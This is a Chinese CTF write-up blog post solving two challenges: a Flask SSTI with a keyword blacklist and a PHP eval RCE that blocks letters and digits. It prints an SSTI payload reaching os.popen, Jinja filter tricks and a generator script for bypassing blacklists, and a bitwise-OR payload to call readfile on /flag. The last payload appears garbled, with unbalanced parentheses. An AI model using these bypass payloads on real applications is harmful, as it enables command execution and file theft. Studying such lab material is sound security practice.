2020DASCTF八月浪漫七夕战

安恒大学

注入点在邮箱注册那里,无法复现了,提一下

ezflask

源代码

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

解题思路

代码倒是还行,审计没啥难度。只有一个根路由,ssti模板注入,大概意思就是paylaod里不能有黑名单的字符串等,否则会报错,成功bypass后获得flag。那么问题就来了,几乎过滤了常见的ssti所有字符串。如何bypass呢?

bypass

{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("whoami").read()}}

上面是ssti最基本的payload,基于此进行bypass,这里过滤了引号,request,chr,subclasses,加号,导致关键字被过滤了,无法通过拼接或者转义其中任何一种方式构造payload,所以我在这里思路断了,在网上也没搜索到可以替换subclasses的方法,看y1ng师傅的wp,y1ng,yyds!

我发现真的吐血了,原题,为什么我比赛的时候搜不到这题,写wp的时候一搜就搜到了。CBCTF easyflask

我们需要知道的知识:

  1. python中的__doc__是什么?

一般而言,是对函数/方法/模块所实现功能的简单描述。

2.如何不使用上面的黑名单构造payload?

  • {% set ca = dict(ca=aa,t=dd)|join() %} //cat
  • {%set c=dict(c=1).keys()|reverse|first%} //c
  • {{(dict(a=1))|string|truncate(3,True,a|string)|list|last}} == 'a' //a

使用上面一种方法即可构造,这里我还没有琢磨透,找个时间仔细琢磨下payload的构造把

exp

这里直接贴脚本了

payload = '{%set pc = g|lower|list|first|urlencode|first%}{%set c=dict(c=1).keys()|reverse|first%}{%set udl=dict(a=pc,c=c).values()|join %}' 
payload = '' 

def get_alp(alp, goal): 
    num = ord(alp) 
    result = '{%set {goal}=dict(a={goal},c=udl%({num})).values()|join %}'.replace( 
        '{num}', str(num)).replace('{goal}', goal) 
    return result 

def get_word(des, goal): 
    # goal = 'ds2' 
    # des = '__globals__' 
    result = '' 
    for i in des: 
        result += (get_alp(i, goal)) 
    return result 

def main(): 
    # poc = "url_for.__globals__.__builtins__.open('/flag').read()" 
    i = 0 
    while(1): 
        text = input('>') 
        print('i'+str(i), end=':') 
        print(get_word(text, 'i'+str(i))) 
        i += 1 

main()

知识点

  • ssti绕过新姿

ezrce

源代码

<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('you are not smart');
    }
}
eval("echo($code)");
?>

解题思路

过滤了数字,字母,异或,取反的rce,只要最后能执行eval里的语句即可。这两道题过滤的是真狠,几乎所有常见的bypass都过滤了

这里看到有两种思路,y1ng师傅的或者是|按位或运算符

|按位或运算

其实按位或运算的思想挺简单,就是当时没往这里想,首先看看,反引号没有被禁,那么我们就用反引号构造

payload的有很多

挑一个readfile(/flag)

这里就用反引号的二进制位与payload的二进制位对比,得出最后的payload:

('````````')|' ')('/````'|'/ '))//readfile(/flag)

总结思路

寻找新的运算符构造payload

知识点

  • rcebypass新姿势
posted @ 2020-08-26 10:45  kar3a  阅读(1304)  评论(1编辑  收藏  举报